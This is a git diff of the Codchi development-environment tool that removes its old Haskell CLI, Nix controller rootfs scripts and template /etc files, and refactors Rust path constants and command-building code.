front = do - bs <- BS.hGetSome h defaultChunkSize - let txt = decodeUtf16And8 $ toLazy bs - fixEOL - | prevType == WSL = Text.replace "\n" "\r\n" - | otherwise = id - if BS.null bs - then atomically $ putTMVar mvar $ Right $ LText.fromChunks $ front [] - else case map fixEOL $ Text.splitOn _MAGIC_UTF8_SEQ txt of - [win, wsl] -> do - logger Win win - logger WSL wsl - loop WSL $ front . (wsl :) . (win :) - _ -> do - logger prevType txt - loop prevType $ front . (txt :) - loop Win id `catch` \e -> do - atomically $ void $ tryPutTMVar mvar $ Left $ Proc.ByteStringOutputException e pc - throwIO e - - return (either throwSTM return =<< readTMVar mvar, hClose h) - --- catchIf --- :: (MonadUnliftIO m, Exception e) --- => (e -> Bool) -> m a -> (e -> m a) -> m a --- catchIf f a b = catch a (\e -> if f e then b e else throwIO e) - -readProcess :: MonadCodchi m => ProcessConfig () () () -> m (Either Text Text) -readProcess = readProcessWith (\_ _ -> pass) (\_ _ -> pass) - -decodeUtf16And8 :: BL.ByteString -> Text -decodeUtf16And8 = decodeUtf8 . BL.filter (/= 0) - -readProcess_ :: MonadCodchi m => ProcessConfig () () () -> m Text -readProcess_ = either (Ann.throw . ShellException) return <=< readProcess - -parseProcess_ :: (MonadCodchi m, Parseable a) => ProcessConfig () () () -> m a -parseProcess_ prc = parse_ =<< readProcess_ prc - -getControllerStatus :: MonadCodchi m => m WinCodchiStatus -getControllerStatus = - readProcess "wsl.exe --version" >>= \case - -- WSL is not activated or needs an update (--version is only available - -- in later versions) - Left _ -> return WSLNotInstalledOrNeedsUpdate - Right _ -> - readProcess "wsl.exe -l -v" >>= \case - Right out -> do - instances <- parse_ @[WSLDistro] out - case find ((== _CONTROLLER) . (.name)) instances of - Nothing -> return ControllerNotInstalled - Just distro -> - return $ - ControllerInstalled $ - distro.status == MachineRunning - - -- WSL outputs an error message to stdout if no distribution is - -- installed... We assume that if there is another error, there - -- will be an error message - Left err | Text.null err -> return ControllerNotInstalled - Left err -> Ann.throw $ InternalPanic $ toString err - -getWSLInstanceDir :: Text -> Path Abs -getWSLInstanceDir instanceName = fromList ["\\\\wsl$", instanceName] - -_MAGIC_UTF8_SEQ :: IsString s => s -_MAGIC_UTF8_SEQ = "this_is_for_recognizing_utf8" - --- splitMagicUTF8Seq txt = case Text.splitOn _MAGIC_UTF8_SEQ txt of --- [win, wsl] -> (win, wsl) --- _ | _MAGIC_UTF8_SEQ `Text.isInfixOf` txt -> ("", txt) - -retryOnPermissionErrors :: (MonadLogger e m, MonadUnliftIO m) => Int -> m a -> m a -retryOnPermissionErrors maxRetries io = do - res <- try io - case res of - Right a -> return a - Left ex - | isPermissionError ex && maxRetries > 1 -> do - retries' <- - logTrace "retryOnPermissionErrors" (show @Text (ex, maxRetries)) $ - maxRetries - 1 - threadDelay ((maxRetries - retries') * 200) - retryOnPermissionErrors retries' io - | otherwise -> Ann.throw $ InternalDriverError $ "retryOnPermissionError: " <> displayException ex diff --git a/.old/cli/src/Codchi/Platform/Windows/Internal.hs b/.old/cli/src/Codchi/Platform/Windows/Internal.hs deleted file mode 100644 index a8b399b1..00000000 --- a/.old/cli/src/Codchi/Platform/Windows/Internal.hs +++ /dev/null @@ -1,227 +0,0 @@ -{-# LANGUAGE CPP #-} -{-# OPTIONS_GHC -Wno-orphans #-} - -module Codchi.Platform.Windows.Internal where - -#ifdef mingw32_HOST_OS -import Graphics.Win32 hiding (try) -import System.Win32.Console.CtrlHandler -import System.Win32.DLL (getModuleHandle) -import System.Win32.Registry -import System.Win32.Shell -#else -import Foreign (ForeignPtr, Ptr, nullPtr) -import Foreign.C (CInt, CIntPtr, CWchar) -#endif - -import Codchi.Types - -import Codchi.Config -import Control.Exception (bracket) -import qualified Data.Text as Text - --- https://tarma.com/support/im9/using/symbols/functions/csidls.htm -cSIDL_PROGRAMS :: CSIDL -cSIDL_PROGRAMS = 2 -cSIDL_PROGRAM_FILESx86 :: CSIDL -cSIDL_PROGRAM_FILESx86 = 42 - -getFolderPath :: MonadIO m => CSIDL -> m (Path Abs) -getFolderPath csidl = mkNTPath <$> liftIO (sHGetFolderPath nullPtr csidl nullPtr 0) - -mkNTPath :: ToText txt => txt -> Path t -mkNTPath = Path . filter (not . Text.null) . Text.splitOn "\\" . toText - -toNTPath :: Path t -> Text -toNTPath (Path p) = Text.intercalate "\\" p - --- https://otter-o.hatenadiary.org/entry/20090217/1234861028 -runWinLoop :: MonadIO m => IO () -> m () -runWinLoop cleanup = liftIO $ do - withConsoleCtrlHandler (\_ -> cleanup >> exitSuccess >> pure True) $ do - void $ createMessageWindow msgLoop - allocaMessage messagePump - where - createMessageWindow wndProc = do - let clsName = mkClassName _APP_NAME - hinst <- getModuleHandle Nothing - whenNothingM_ (registerClass (0, hinst, Nothing, Nothing, Nothing, Nothing, clsName)) $ - error "Couldn't register window class" - createWindow - clsName - _APP_NAME - 0 - Nothing - Nothing - Nothing - Nothing - (Just nullPtr) - Nothing - hinst - wndProc - msgLoop hwnd msg wp lp - | msg == wM_CLOSE = cleanup >> exitSuccess >> return 0 - | otherwise = liftIO $ defWindowProc (Just hwnd) msg wp lp - messagePump msg = void $ infinitely $ do - whenM (getMessage msg Nothing) $ do - void $ translateMessage msg - void $ dispatchMessage msg - -findWslVmId :: IO (Maybe String) -findWslVmId = do - let vmsKey = regOpenKeyEx hKEY_LOCAL_MACHINE "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\HostComputeService\\VolatileStore\\ComputeSystem" kEY_READ - withRegKey vmsKey $ \hkey -> do - vmKeys <- regEnumKeys hkey - - let filterWslVms vmid = do - subkeys <- withRegKey (regOpenKeyEx hkey vmid kEY_READ) regEnumKeyVals - - return $ - if any isWslVm subkeys - then Just vmid - else Nothing - - asum <$> mapM filterWslVms vmKeys - where - isWslVm ("ComputeSystemType", "2", _) = True - isWslVm _ = False - -withRegKey :: IO HKEY -> (HKEY -> IO c) -> IO c -withRegKey aquire = bracket aquire regCloseKey - -#ifdef mingw32_HOST_OS -foreign import ccall "shlobj_core.h SHChangeNotify" - c_SHChangeNotify :: LONG -> UINT32 -> LPVOID -> LPVOID -> IO () - -refreshIconCache :: IO () -refreshIconCache = c_SHChangeNotify 0x8000000 0x1000 nullPtr nullPtr - --- foreign import ccall "windows.h FreeConsole" --- c_FreeConsole :: IO BOOL - --- freeConsole :: IO () --- freeConsole = failIfFalse_ "FreeConsole" c_FreeConsole - -foreign import ccall "windows.h GetConsoleWindow" - c_GetConsoleWindow :: IO HWND - -getConsoleWindow :: IO (Maybe HWND) -getConsoleWindow = do - hwnd <- c_GetConsoleWindow - return $ if hwnd /= nullPtr - then Just hwnd - else Nothing - -#else - --- fake functions for HLS under linux - -noop :: a -noop = error "Not implemented on linux" - -type DWORD = Word32 -type WindowStyle = DWORD -type LONG = Int32 -type LPMSG = Ptr () -type HWND = Ptr () -type HMENU = Ptr () -type HANDLE = Ptr () -type HINSTANCE = Ptr () -type LPTSTR = Ptr CWchar -type WindowClosure = HWND -> DWORD -> Word -> CIntPtr -> IO CIntPtr -type REGSAM = Word32 -type HKEY = ForeignPtr () -type CSIDL = CInt - -wM_CLOSE :: DWORD -wM_CLOSE = noop --- wM_DESTROY :: DWORD --- wM_DESTROY = noop - -failIfFalse_ :: String -> IO Bool -> IO () -failIfFalse_ = noop - -withConsoleCtrlHandler :: (DWORD -> IO Bool) -> IO a -> IO a -withConsoleCtrlHandler = noop - -getMessage :: LPMSG -> Maybe HWND -> IO Bool -getMessage = noop -allocaMessage :: (LPMSG -> IO a) -> IO a -allocaMessage = noop -translateMessage :: LPMSG -> IO Bool -translateMessage = noop -dispatchMessage :: LPMSG -> IO LONG -dispatchMessage = noop -defWindowProc :: Maybe HWND -> DWORD -> Word -> CIntPtr -> IO CIntPtr -defWindowProc = noop --- postQuitMessage :: Int -> IO () --- postQuitMessage = noop - -mkClassName :: String -> a -mkClassName = noop -registerClass :: (Word32, HINSTANCE, Maybe HANDLE, Maybe HANDLE, Maybe HANDLE, Maybe LPTSTR, LPTSTR) -> IO (Maybe Word16) -registerClass = noop -createWindow - :: LPTSTR -> String -> WindowStyle -> - Maybe Int -> Maybe Int -> Maybe Int -> Maybe Int -> - Maybe HWND -> Maybe HMENU -> HINSTANCE -> WindowClosure -> - IO HWND -createWindow = noop - -type ShowWindowControl = DWORD -sW_HIDE :: ShowWindowControl -sW_HIDE = noop -showWindow :: HWND -> ShowWindowControl -> IO Bool -showWindow = noop - -getModuleHandle :: Maybe String -> IO HINSTANCE -getModuleHandle = noop - -hKEY_LOCAL_MACHINE :: HKEY -hKEY_LOCAL_MACHINE = noop -kEY_READ :: REGSAM -kEY_READ = noop -regOpenKeyEx :: HKEY -> String -> REGSAM -> IO HKEY -regOpenKeyEx = noop -regCloseKey :: HKEY -> IO () -regCloseKey = noop -regEnumKeys :: HKEY -> IO [String] -regEnumKeys = noop -regEnumKeyVals :: HKEY -> IO [(String,String,DWORD)] -regEnumKeyVals = noop - -cSIDL_PROGRAM_FILES :: CSIDL -cSIDL_PROGRAM_FILES = 38 -type SHGetFolderPathFlags = DWORD -sHGetFolderPath :: HWND -> CSIDL -> HANDLE -> SHGetFolderPathFlags -> IO String -sHGetFolderPath = noop - --- win32-shortcut - -data ShowCmd = ShowNormal | ShowMaximized | ShowMinimized deriving (Show) -data Shortcut = Shortcut - { targetPath :: FilePath - , arguments :: String - , workingDirectory :: FilePath - , showCmd :: ShowCmd - , description :: String - , iconLocation :: (FilePath, Int) - , hotkey :: DWORD - } - deriving (Show) - -type ShortcutError = Void -initialize :: IO (Either ShortcutError ()) -initialize = noop -uninitialize :: IO () -uninitialize = noop -writeShortcut :: Shortcut -> FilePath -> IO (Either ShortcutError ()) -writeShortcut = noop -refreshIconCache :: IO () -refreshIconCache = noop - --- freeConsole :: IO () --- freeConsole = noop -getConsoleWindow :: IO (Maybe HWND) -getConsoleWindow = noop -#endif diff --git a/.old/cli/src/Codchi/Types.hs b/.old/cli/src/Codchi/Types.hs deleted file mode 100644 index 46ed6452..00000000 --- a/.old/cli/src/Codchi/Types.hs +++ /dev/null @@ -1,101 +0,0 @@ -{-# LANGUAGE DerivingVia #-} -{-# LANGUAGE RecordWildCards #-} -{-# LANGUAGE StrictData #-} - -module Codchi.Types where - -import Codchi.Parser -import Data.Aeson (FromJSON, ToJSON (toJSON)) -import qualified Data.Aeson as JSON -import qualified Data.Aeson.Types as JSON -import Data.Attoparsec.Text as P -import Data.Char (isSpace) -import Data.Data -import qualified Data.Text as T -import GHC.Exts (IsList (..)) - ----------- --- Path -- ----------- - -data Abs deriving (Typeable) -data Rel deriving (Typeable) - -newtype Path t - = Path [Text] - deriving (Eq, Show) - deriving newtype (Semigroup) - -emptyPath :: Path t -emptyPath = Path [] - -instance FromJSON (Path p) where - parseJSON (JSON.String p) = pure (mkUnixPath p) - parseJSON invalid = - JSON.prependFailure "parsing instance of parseable failed, " (JSON.typeMismatch "String" invalid) - -instance Typeable p => ToJSON (Path p) where - toJSON = JSON.String . toUnixPath - -mkUnixPath :: Text -> Path t -mkUnixPath = Path . filter (not . T.null) . T.splitOn "/" - -instance IsList (Path t) where - type Item (Path t) = Text - toList (Path p) = p - fromList = Path - -toUnixPath :: forall t. Typeable t => Path t -> Text -toUnixPath (Path p) = prefix <> T.intercalate "/" p - where - prefix = case eqT @t @Abs of - Just Refl -> "/" - Nothing -> "" - -() :: Path t -> Path Rel -> Path t -(Path p) (Path q) = Path $ p <> q - ---------------------- --- Desktop entries -- ---------------------- - -data DesktopEntry icon = DesktopEntry - { name :: Text - , icon :: icon - , exec :: Text - , isTerminal :: Bool - } - deriving (Show) - -instance Parseable (DesktopEntry ()) where - parse txt = - let p = do - let header = P.string "[Desktop Entry]" >> P.skipWhile isSpace - comment = - P.skipWhile isSpace - >> P.char '#' - >> P.skipWhile (not . P.isEndOfLine) - attr = - (,) - <$> (P.takeWhile1 (/= '=') <* P.char '=') - <*> (T.strip <$> P.takeWhile1 (\c -> not (P.isEndOfLine c) && c /= '#')) - <* P.skipWhile (not . P.isEndOfLine) - void $ P.sepBy comment P.endOfLine - header - rights <$> P.sepBy (P.eitherP comment attr) P.endOfLine - in do - deAttrs <- P.parseOnly p txt - - let getAttr attrName = snd <$> find ((== attrName) . fst) deAttrs - - name <- "Missing 'Name' entry" `maybeToRight` getAttr "Name" - -- first try 'TryExec' since it doesn't include %F / %U - exec <- - maybeToRight "Missing 'Exec' entry" $ - getAttr "TryExec" <|> getAttr "Exec" - let icon = () - isTerminal = case getAttr "Terminal" of - Just "true" -> True - _ -> False - - return $ DesktopEntry{..} diff --git a/.old/cli/test/Config/v012.json b/.old/cli/test/Config/v012.json deleted file mode 100755 index 3952a910..00000000 --- a/.old/cli/test/Config/v012.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "test": { - "modules": { - "default": { - "branchCommit": null, - "moduleType": { - "contents": "configuration.nix", - "tag": "LegacyModule" - }, - "name": "default", - "uri": { - "contents": "/mnt/c/Users/test/Desktop/nix", - "tag": "LocalModule" - } - } - }, - "name": "test", - "nixpkgsFollows": null - }, - "main": { - "modules": { - "default": { - "branchCommit": { - "branch": "main", - "commit": null - }, - "moduleType": { - "contents": [ - "test", - "development/codchi" - ], - "tag": "FlakeModule" - }, - "name": "default", - "uri": { - "contents": { - "protocol": "GitHttps", - "uri": "oauth2:glpat-hef92ksl3Ab_j29sk2jR@gitlab.de/foo/bar" - }, - "tag": "GitModule" - } - } - }, - "name": "main", - "nixpkgsFollows": { - "contents": "default", - "tag": "CodchiNixpkgs" - } - } -} diff --git a/.old/cli/test/ConfigSpec.hs b/.old/cli/test/ConfigSpec.hs deleted file mode 100644 index 466ffe28..00000000 --- a/.old/cli/test/ConfigSpec.hs +++ /dev/null @@ -1,12 +0,0 @@ -module ConfigSpec (spec) where - -import qualified Codchi.Config.V012 as V012 -import Data.Aeson.Safe -import Test.Hspec - -spec :: Spec -spec = do - describe "basic parsing" $ do - it "v0.1.2" $ do - cfg <- decodeFileStrict @V012.Config "test/Config/v012.json" - cfg `shouldNotBe` Nothing diff --git a/.old/cli/test/Spec.hs b/.old/cli/test/Spec.hs deleted file mode 100644 index a824f8c3..00000000 --- a/.old/cli/test/Spec.hs +++ /dev/null @@ -1 +0,0 @@ -{-# OPTIONS_GHC -F -pgmF hspec-discover #-} diff --git a/.old/controller/ctrl-rootfs.nix b/.old/controller/ctrl-rootfs.nix deleted file mode 100644 index f9dacb2f..00000000 --- a/.old/controller/ctrl-rootfs.nix +++ /dev/null @@ -1,112 +0,0 @@ -{ nixpkgs -, lib -, writeScript -, writeText -, callPackage - -, pkgsStatic -, cacert -, coreutils -, iputils -, git -, openssh - -, overrideContents ? prev: prev -, preServeHook ? "" -, ... -}: - -let - # These are binaries which are required by LXD / WSL before controller - # initialization. They are included in the controller.tar.gz - staticBinaries = with pkgsStatic; [ - busybox - bashInteractive - nix - ]; - # These are binaries required at runtime and wil be installed dynamically - otherBinaries = map builtins.unsafeDiscardStringContext [ - coreutils - iputils - git - openssh - ]; - - writeShellScript = name: text: writeScript name '' - #!/bin/bash - - set -e - set -o pipefail - - export PATH="$PATH:/bin" - - ${text} - ''; -in -callPackage ../nix/make-tarball.nix { - fileName = "controller"; - - inherit overrideContents; - contents = { - "/bin/" = toString (map (pkg: "${pkg}/bin/*") staticBinaries); - "/bin/run" = writeShellScript "run" '' - /bin/ctrl-update-certs - source /etc/profile.d/nix-daemon.sh - [ ! -d /tmp ] && mkdir /tmp - exec "$@" - ''; - "/bin/ctrl-serve" = writeShellScript "ctrl-serve" '' - ${preServeHook} - - if pgrep nix-daemon; then - echo "Nix-daemon is already running" >&2 - exit 1 - fi - exec nix-daemon - ''; - - "/bin/ctrl-install" = writeShellScript "ctrl-install" '' - NAME="$1" - - nix flake update "/instances/$NAME" - DRV=$(nix build --impure --print-out-paths --no-link "/instances/$NAME#nixosConfigurations.default.config.system.build.codchi.rootfs") - mkdir -p "/nix/var/nix/profiles/per-instance/$NAME" - nix-env -p "/nix/var/nix/profiles/per-instance/$NAME/system" --set $(cat $DRV/system-store-path) - - echo "$DRV" - ''; - "/bin/ctrl-update-profile" = writeShellScript "ctrl-update-profile" '' - INSTALLED="$(nix profile list | cut -d' ' -f 4 | sort)" - NEW="$(echo ${toString otherBinaries} | xargs -n1 | sort)" - - # remove whats only in $INSTALLED and not in $NEW - comm -23 <(echo $INSTALLED | xargs -n1) <(echo $NEW | xargs -n1) | xargs -r nix profile remove - # install whats only in $NEW and not in $INSTALLED - comm -13 <(echo $INSTALLED | xargs -n1) <(echo $NEW | xargs -n1) | xargs -r nix profile install - ''; - "/bin/ctrl-update-certs" = writeShellScript "ctrl-update-certs" '' - mkdir -p /etc/ssl/certs/custom || true - cp -f /etc/ssl/certs/official-bundle.crt /etc/ssl/certs/ca-bundle.crt - for cert in $(find /etc/ssl/certs/custom/ -name '*.crt'); do - cat "$cert" >> /etc/ssl/certs/ca-bundle.crt - done - ''; - - "/etc/profile.d/nix-daemon.sh" = "${pkgsStatic.nix}/etc/profile.d/nix-daemon.sh"; - "/etc/ssl/certs/official-bundle.crt" = "${cacert}/etc/ssl/certs/ca-bundle.crt"; - - "/etc/" = "${./etc}/*"; - # docs: https://nixos.org/manual/nix/stable/command-ref/new-cli/nix3-registry.html#registry-format - "/etc/nix/registry.json" = writeText "registry.json" (builtins.toJSON { - version = 2; - flakes = [{ - exact = true; - from = { type = "indirect"; id = "nixpkgs"; }; - to = { type = "path"; path = nixpkgs.outPath; } - // lib.filterAttrs - (n: _: n == "lastModified" || n == "rev" || n == "revCount" || n == "narHash") - nixpkgs; - }]; - }); - }; -} diff --git a/.old/controller/default.nix b/.old/controller/default.nix deleted file mode 100644 index a931a9c7..00000000 --- a/.old/controller/default.nix +++ /dev/null @@ -1,85 +0,0 @@ -{ callPackage -, formats -, system -, lib -, runCommand -, fetchFromGitLab -, coreutils - -, nixpkgs -, ... -}: { - - wsl-ctrl-rootfs = callPackage ./ctrl-rootfs.nix { - inherit nixpkgs; - preServeHook = '' - [ ! -d "/nix" ] && mkdir -p "/nix" - [ ! -d "/mnt/wsl/nix" ] && mkdir -p "/mnt/wsl/nix" - if ! mount | grep -q "/mnt/wsl/nix"; then - mount --bind "/nix" "/mnt/wsl/nix" - fi - trap "umount -f /mnt/wsl/nix" EXIT - ''; - }; - - lxd-ctrl-rootfs = callPackage ./ctrl-rootfs.nix { - inherit nixpkgs; - - preServeHook = '' - /bin/ctrl-update-certs - source /etc/profile.d/nix-daemon.sh - [ ! -d /tmp ] && mkdir /tmp - - syslogd - udhcpc -s /usr/share/udhcpc/default.script - ''; - - overrideContents = prev: - let - udhcpcScript = - let - # taken from https://github.com/NixOS/nixpkgs/blob/4c8cf44c5b9481a4f093f1df3b8b7ba997a7c760/pkgs/os-specific/linux/busybox/default.nix#L36C3-L46C5: - debianVersion = "1.30.1-6"; - debianSource = fetchFromGitLab { - domain = "salsa.debian.org"; - owner = "installer-team"; - repo = "busybox"; - rev = "debian/1%${debianVersion}"; - sha256 = "sha256-6r0RXtmqGXtJbvLSD1Ma1xpqR8oXL2bBKaUE/cSENL8="; - }; - in - runCommand "default.script" { buildInputs = [ coreutils ]; } '' - sed '1 a echo "$@"' ${debianSource}/debian/tree/udhcpc/etc/udhcpc/default.script > $out - chmod +x $out - ''; - - rootfs = prev // { - "/sbin/init" = prev."/bin/ctrl-serve"; - "/usr/share/udhcpc/default.script" = udhcpcScript; - "/dev/" = null; - "/proc/" = null; - "/sys/" = null; - "/tmp" = null; - "/var" = null; - }; - in - - # prepend /rootfs/ to every attr in `prev` - lib.mapAttrs' (path: lib.nameValuePair ("/rootfs" + path)) rootfs - - // - - { - "/metadata.yaml" = (formats.yaml { }).generate "metadata.yaml" { - architecture = builtins.elemAt (builtins.match "^([a-z0-9_]+).+" (toString system)) 0; - creation_date = 1; - # properties = { - # description = "${config.system.nixos.distroName} ${config.system.nixos.codeName} ${config.system.nixos.label} ${pkgs.system}"; - # os = "${config.system.nixos.distroId}"; - # release = "${config.system.nixos.codeName}"; - # }; - }; - }; - }; - -} diff --git a/.old/controller/etc/group b/.old/controller/etc/group deleted file mode 100644 index 162f79fd..00000000 --- a/.old/controller/etc/group +++ /dev/null @@ -1,21 +0,0 @@ -root:x:0: -wheel:x:1: -kmem:x:2: -tty:x:3: -messagebus:x:4: -disk:x:6: -audio:x:17: -floppy:x:18: -uucp:x:19: -lp:x:20: -cdrom:x:24: -tape:x:25: -video:x:26: -dialout:x:27: -utmp:x:29: -adm:x:55: -keys:x:96: -users:x:100: -input:x:174: -nixbld:x:30000:nixbld1,nixbld10,nixbld11,nixbld12,nixbld13,nixbld14,nixbld15,nixbld16,nixbld17,nixbld18,nixbld19,nixbld2,nixbld20,nixbld21,nixbld22,nixbld23,nixbld24,nixbld25,nixbld26,nixbld27,nixbld28,nixbld29,nixbld3,nixbld30,nixbld31,nixbld32,nixbld4,nixbld5,nixbld6,nixbld7,nixbld8,nixbld9 -nogroup:x:65534: diff --git a/.old/controller/etc/nix/nix.conf b/.old/controller/etc/nix/nix.conf deleted file mode 100644 index 4a11945e..00000000 --- a/.old/controller/etc/nix/nix.conf +++ /dev/null @@ -1,4 +0,0 @@ -accept-flake-config = true -experimental-features = nix-command flakes -substituters = https://cache.nixos.org/ https://nixos-devenv.cachix.org -trusted-public-keys = cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY= nixos-devenv.cachix.org-1:TfcIbSCGLCufAt9UCxzBTi3ekrzgI3HAHX73VWpByoE= diff --git a/.old/controller/etc/nsswitch.conf b/.old/controller/etc/nsswitch.conf deleted file mode 100644 index 59a21416..00000000 --- a/.old/controller/etc/nsswitch.conf +++ /dev/null @@ -1,11 +0,0 @@ -passwd: files mymachines systemd -group: files mymachines systemd -shadow: files - -hosts: files mymachines dns myhostname -networks: files - -ethers: files -services: files -protocols: files -rpc: files diff --git a/.old/controller/etc/passwd b/.old/controller/etc/passwd deleted file mode 100644 index f7b2054f..00000000 --- a/.old/controller/etc/passwd +++ /dev/null @@ -1,35 +0,0 @@ -root:x:0:0:System administrator:/root:/bin/bash -nixos:x:1000:100:Dummy user for instances:/var/empty:/bin/nologin -nixbld1:x:30001:30000:Nix build user 1:/var/empty:/bin/nologin -nixbld2:x:30002:30000:Nix build user 2:/var/empty:/bin/nologin -nixbld3:x:30003:30000:Nix build user 3:/var/empty:/bin/nologin -nixbld4:x:30004:30000:Nix build user 4:/var/empty:/bin/nologin -nixbld5:x:30005:30000:Nix build user 5:/var/empty:/bin/nologin -nixbld6:x:30006:30000:Nix build user 6:/var/empty:/bin/nologin -nixbld7:x:30007:30000:Nix build user 7:/var/empty:/bin/nologin -nixbld8:x:30008:30000:Nix build user 8:/var/empty:/bin/nologin -nixbld9:x:30009:30000:Nix build user 9:/var/empty:/bin/nologin -nixbld10:x:30010:30000:Nix build user 10:/var/empty:/bin/nologin -nixbld11:x:30011:30000:Nix build user 11:/var/empty:/bin/nologin -nixbld12:x:30012:30000:Nix build user 12:/var/empty:/bin/nologin -nixbld13:x:30013:30000:Nix build user 13:/var/empty:/bin/nologin -nixbld14:x:30014:30000:Nix build user 14:/var/empty:/bin/nologin -nixbld15:x:30015:30000:Nix build user 15:/var/empty:/bin/nologin -nixbld16:x:30016:30000:Nix build user 16:/var/empty:/bin/nologin -nixbld17:x:30017:30000:Nix build user 17:/var/empty:/bin/nologin -nixbld18:x:30018:30000:Nix build user 18:/var/empty:/bin/nologin -nixbld19:x:30019:30000:Nix build user 19:/var/empty:/bin/nologin -nixbld20:x:30020:30000:Nix build user 20:/var/empty:/bin/nologin -nixbld21:x:30021:30000:Nix build user 21:/var/empty:/bin/nologin -nixbld22:x:30022:30000:Nix build user 22:/var/empty:/bin/nologin -nixbld23:x:30023:30000:Nix build user 23:/var/empty:/bin/nologin -nixbld24:x:30024:30000:Nix build user 24:/var/empty:/bin/nologin -nixbld25:x:30025:30000:Nix build user 25:/var/empty:/bin/nologin -nixbld26:x:30026:30000:Nix build user 26:/var/empty:/bin/nologin -nixbld27:x:30027:30000:Nix build user 27:/var/empty:/bin/nologin -nixbld28:x:30028:30000:Nix build user 28:/var/empty:/bin/nologin -nixbld29:x:30029:30000:Nix build user 29:/var/empty:/bin/nologin -nixbld30:x:30030:30000:Nix build user 30:/var/empty:/bin/nologin -nixbld31:x:30031:30000:Nix build user 31:/var/empty:/bin/nologin -nixbld32:x:30032:30000:Nix build user 32:/var/empty:/bin/nologin -nobody:x:65534:65534:Unprivileged account (don't use!):/var/empty:/bin/nologin diff --git a/.old/controller/etc/wsl.conf b/.old/controller/etc/wsl.conf deleted file mode 100644 index e699d32e..00000000 --- a/.old/controller/etc/wsl.conf +++ /dev/null @@ -1,2 +0,0 @@ -[automount] -mountFsTab=false diff --git a/codchi/cli/Cargo.toml b/codchi/cli/Cargo.toml index 5bc7fe91..851ae526 100644 --- a/codchi/cli/Cargo.toml +++ b/codchi/cli/Cargo.toml @@ -59,6 +59,8 @@ wslapi = "0.1.3" version-compare = "0.1" # codepage-strings = "1.0.2" known-folders = "1.1.0" +# path-slash = "0.2.1" +# ctrlc = "3.4.4" # wtf8 = "0.1" # colored = "2.1.0" diff --git a/codchi/cli/src/config.rs b/codchi/cli/src/config.rs index 3d751403..1c61ab44 100644 --- a/codchi/cli/src/config.rs +++ b/codchi/cli/src/config.rs @@ -1,5 +1,5 @@ use crate::{ - consts::{host, ToPath}, + consts::{host, PathExt}, util::UtilExt, }; use anyhow::{Context, Result}; diff --git a/codchi/cli/src/consts.rs b/codchi/cli/src/consts.rs index a774b542..a1754841 100644 --- a/codchi/cli/src/consts.rs +++ b/codchi/cli/src/consts.rs @@ -1,4 +1,5 @@ // use anyhow::{Context, Result}; +use crate::platform::LinuxPath; use once_cell::sync::Lazy; use std::{ env, fs, io, @@ -20,37 +21,36 @@ pub const NIX_SYSTEM: &str = "aarch64_linux"; pub const STORE_NAME: &str = "store"; pub const MACHINE_PREFIX: &str = "machine"; +// these are used for store / machine container init +pub const INIT_EXIT_ERR: &str = "INIT_ERR"; +pub const INIT_EXIT_SUCCESS: &str = "INIT_SUCCESS"; + pub trait ToPath: Sized { - /// Get just the path without any IO - fn as_path_buf(&self) -> &PathBuf; + fn join_str(&self, name: &str) -> Self; /// Get store dir inside - fn join_store(&self) -> PathBuf { - self.as_path_buf().join(STORE_NAME) + fn join_store(&self) -> Self { + self.join_str(STORE_NAME) } - // /// Get store dir inside - // fn join>(&self, path: P) -> PathBuf { - // self.as_path_buf().join(path) - // } - /// Get store dir inside - fn join_machine>(&self, name: P) -> PathBuf { - self.as_path_buf().join(MACHINE_PREFIX).join(name) + fn join_machine(&self, name: &str) -> Self { + self.join_str(MACHINE_PREFIX).join_str(name) } +} +pub trait PathExt: AsRef { /// Create the directory recursively if it doesn't exist and return its path - fn get_or_create(&self) -> io::Result<&PathBuf> { - let path = self.as_path_buf(); - fs::create_dir_all(&path)?; - Ok(path) + fn get_or_create(&self) -> io::Result<&Self> { + fs::create_dir_all(&self)?; + Ok(self) } } +impl> PathExt for P {} impl ToPath for PathBuf { - #[inline] - fn as_path_buf(&self) -> &PathBuf { - self + fn join_str(&self, path: &str) -> Self { + self.join(path) } } @@ -90,24 +90,39 @@ pub mod host { pub mod store { use super::*; - pub static DIR_CONFIG: Lazy = Lazy::new(|| "/config".into()); - pub static DIR_DATA: Lazy = Lazy::new(|| "/data".into()); - pub static DIR_NIX: Lazy = Lazy::new(|| "/nix".into()); + pub static DIR_CONFIG: Lazy = Lazy::new(|| LinuxPath("/config".to_string())); + pub static DIR_DATA: Lazy = Lazy::new(|| LinuxPath("/data".to_string())); + pub static DIR_NIX: Lazy = Lazy::new(|| LinuxPath("/nix".to_string())); + + pub const INIT_ENV: &str = "/.store-init-env"; + pub const INIT_LOG: &str = "/.store-init-log"; + + impl ToPath for LinuxPath { + fn join_str(&self, name: &str) -> Self { + LinuxPath(format!("{}/{}", self.0, name)) + } + } } pub mod machine { pub fn machine_name(name: &str) -> String { format!("codchi-{name}") } + pub const INIT_ENV: &str = "/mnt/wsl/codchi/.machine-init-env"; + pub fn init_log(name: &str) -> String { + format!("/mnt/wsl/codchi/.machine-init-log-{name}") + } } pub mod user { + use super::*; + pub const ROOT_UID: &str = "0"; pub const ROOT_GID: &str = "0"; - pub const ROOT_HOME: &str = "/root"; + pub static ROOT_HOME: Lazy = Lazy::new(|| LinuxPath("/root".to_string())); pub const DEFAULT_NAME: &str = "codchi"; - pub const DEFAULT_HOME: &str = "/home/codchi"; + pub static DEFAULT_HOME: Lazy = Lazy::new(|| LinuxPath("/home/codchi".to_string())); pub const DEFAULT_UID: &str = "1000"; pub const DEFAULT_GID: &str = "100"; } diff --git a/codchi/cli/src/platform/cmd/linux.rs b/codchi/cli/src/platform/cmd/linux.rs index 517574bb..e673e020 100644 --- a/codchi/cli/src/platform/cmd/linux.rs +++ b/codchi/cli/src/platform/cmd/linux.rs @@ -1,19 +1,16 @@ use self::platform::LinuxCommandDriver; - use super::*; -use anyhow::Context; use std::fmt::Debug; use std::io::Write; -use std::{ - path::Path, - process::{Child, Stdio}, -}; +use std::process::{Child, Stdio}; pub trait LinuxCommandTarget { - fn build(&self, uid: &Option, cwd: &Option) -> std::process::Command; + fn build(&self, uid: &Option, cwd: &Option) -> std::process::Command; fn get_driver(&self) -> LinuxCommandDriver; + fn quote_shell_arg(&self, arg: &str) -> String; + fn run(&self, program: &str, args: &[&str]) -> LinuxCommandBuilder { LinuxCommandBuilder { driver: self.get_driver(), @@ -43,7 +40,7 @@ pub struct LinuxCommandBuilder { driver: LinuxCommandDriver, program: Program, user: Option, - cwd: Option, + cwd: Option, // output: Output, } 